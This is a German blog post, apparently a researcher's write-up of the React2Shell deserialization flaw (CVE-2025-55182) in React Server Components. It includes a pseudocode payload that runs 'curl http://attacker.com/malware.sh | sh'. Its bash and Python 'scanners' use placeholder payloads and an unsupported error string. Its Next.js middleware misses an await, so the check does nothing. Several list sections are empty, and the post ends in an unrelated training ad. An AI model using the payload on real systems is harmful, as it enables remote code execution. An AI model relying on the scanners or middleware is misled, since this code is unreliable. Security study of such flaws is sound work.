
Von Lachlan Davidson
Zuletzt aktualisiert: 4. Dezember 2025
In den letzten Jahren ist die Nutzung von React und den zugehörigen Frameworks rasant gestiegen – von kleinen Web-Projekten bis hin zu groß angelegten Enterprise-Anwendungen. Mit der Beliebtheit wächst jedoch auch die Sorge vor Schwachstellen, insbesondere solchen, die kritische Komponenten des Ökosystems betreffen.
Am 29. November 2025 meldete ich, Lachlan Davidson, eine verheerende Schwachstelle – React2Shell (CVE-2025-55182) – verantwortungsvoll an das Meta-Team. Dieser Fehler betrifft serverseitige React-Implementierungen, insbesondere über das „Flight“-Protokoll der React Server Components (RSC), und wurde am 3. Dezember 2025 von den React- und Vercel-Teams gepatcht. Dieser Blog-Beitrag liefert eine ausführliche Analyse, von den technischen Details bis hin zu realen Angriffsszenarien, und behandelt gleichzeitig Best Practices zur Erkennung und Abwehr.
In diesem Beitrag behandeln wir:
Ob Sie Sicherheitsfachkraft, Entwicklerin oder Technikbegeisterter sind – dieser Blog führt Sie von grundlegenden Konzepten bis hin zu fortgeschrittenen Exploit-Techniken und proaktiven Verteidigungsmaßnahmen.
Die Zeitachse ist entscheidend, um das Risikomanagement und die schnelle Reaktion auf diesen Vorfall zu verstehen:
Für Next.js wurde ein zusätzlicher Eintrag (CVE-2025-66478) vergeben, da React als „vendored dependency“ eingebettet ist. Obwohl technisch ein Duplikat, erleichtert dies das Tracking in gängigen Vulnerability-Scannern.
React2Shell bezeichnet eine kritische Schwachstelle (CVE-2025-55182) im Umfeld der React Server Components, speziell im „Flight“-Protokoll. Sie ermöglicht unauthentifizierte Remote-Code-Ausführung (RCE) serverseitig durch unsichere Deserialisierung im Paket react-server.
Wesentliche Merkmale:
create-next-app) sind anfällig, sofern nicht speziell gehärtet.Die Ursache liegt im Deserialisierungsprozess der RSC-Payloads. Eingehende Daten werden nicht ausreichend validiert. Angreifende können Daten einschleusen, die nach der Deserialisierung zur Ausführung beliebigen Codes führen.
Vereinfachter Ablauf:
Besonders gefährlich ist, dass Standardkonfigurationen keinerlei zusätzliche Eingabevalidierung oder Zugriffsbeschränkung enthalten.
Da Next.js React als eingebettete Abhängigkeit mitliefert, entgeht die Schwachstelle klassischen Dependency-Scannern. CVE-2025-66478 stellt sicher, dass Next.js-Nutzende dennoch alarmiert werden.
Deserialisierung wandelt Daten (JSON, Binärformat) in Objekte oder Strukturen um. Unsicher wird es, wenn:
Das Flight-Protokoll transportiert effizient Daten zwischen Server und Client. Fehlende Validierung im Paket react-server öffnet jedoch einen Exploit-Pfad.
Die Abstraktion moderner Next.js-Deployments vermittelt ein trügerisches Sicherheitsgefühl, das diese Schwachstelle widerlegt.
Nach Veröffentlichung erster PoCs beobachtete man:
Ein Next.js-Service in einem Kubernetes-Cluster erhielt einen harmlos wirkenden Flight-Request. Folgen:
Wiz Research stellte fest:
#!/bin/bash
# Einfacher Scanner für React2Shell (CVE-2025-55182)
# <target_url> durch Ziel-URL ersetzen.
TARGET="<target_url>"
PAYLOAD='{"malicious": "payload"}' # Platzhalter-Payload
echo "Scanne $TARGET auf React2Shell..."
RESPONSE=$(curl -s -X POST -H "Content-Type: application/json" -d "$PAYLOAD" "$TARGET")
if echo "$RESPONSE" | grep -q "Error processing Flight payload"; then
echo "Potenzielle Verwundbarkeit auf $TARGET erkannt"
else
echo "Keine offensichtliche Verwundbarkeit auf $TARGET. Weitere Analyse empfohlen."
fi
import requests, json
def scan_target(target_url):
payload = {"test": "data", "action": "simulate_deserialization"}
headers = {"Content-Type": "application/json"}
print(f"Scanne {target_url} auf React2Shell...")
try:
r = requests.post(target_url, headers=headers, data=json.dumps(payload), timeout=5)
if "Error processing Flight payload" in r.text:
print(f"[!] Mögliche Schwachstelle auf {target_url}")
else:
print(f"[-] Keine unmittelbaren Hinweise auf {target_url}")
except requests.exceptions.RequestException as e:
print(f"[-] Fehler beim Scannen von {target_url}: {e}")
if __name__ == "__main__":
for url in [
"https://example.com/api/flight",
"https://another-example.com/api/flight"
]:
scan_target(url)
// Pseudocode: Aufbau eines schädlichen Flight-Payloads
const maliciousPayload = {
component: "ShellExec",
args: {
command: "bash -c 'curl -fsSL http://attacker.com/malware.sh | sh'",
},
_meta: { timestamp: Date.now(), nonce: Math.random().toString(36).slice(2) }
};
const serialized = JSON.stringify(maliciousPayload);
sendToServer(serialized);
Haftungsausschluss: Nur zu Ausbildungszwecken. Unbefugte Angriffe sind illegal.
Scanner melden teils Funktionen wie:
vm#runInThisContextchild_process#execfs#writeFileDeren bloße Existenz bedeutet nicht, dass React2Shell ausnutzbar ist. Die RCE erfolgt unabhängig davon über Next.js-eigene Mechanismen. Daher:
react-server-dom* ≥ 19.x.y)Beispiel-Middleware in Next.js:
import { NextResponse } from 'next/server';
export function middleware(request) {
if (request.nextUrl.pathname.startsWith('/api/flight')) {
try {
const body = request.json();
if (!body || typeof body !== 'object' || !body.component) {
return new NextResponse('Ungültiges Payload-Format', { status: 400 });
}
} catch {
return new NextResponse('Fehler bei der Verarbeitung', { status: 400 });
}
}
return NextResponse.next();
}
React2Shell (CVE-2025-55182) zeigt eindrucksvoll, dass selbst etablierte Frameworks wie React und Next.js vor schwerwiegenden Schwachstellen nicht gefeit sind. Die unsichere Deserialisierung im Flight-Protokoll ermöglicht unauthentifizierte RCE bei Standardkonfigurationen.
Wesentliche Punkte:
Mit fundiertem Verständnis und proaktiven Maßnahmen können Entwickler*innen und Sicherheitsteams ihre Anwendungen wirksam absichern.
Viel Erfolg beim sicheren Programmieren!
Wenn Sie diesen Inhalt wertvoll fanden, stellen Sie sich vor, was Sie mit unserem umfassenden 47-wöchigen Elite-Trainingsprogramm erreichen könnten. Schließen Sie sich über 1.200 Studenten an, die ihre Karrieren mit den Techniken der Unit 8200 transformiert haben.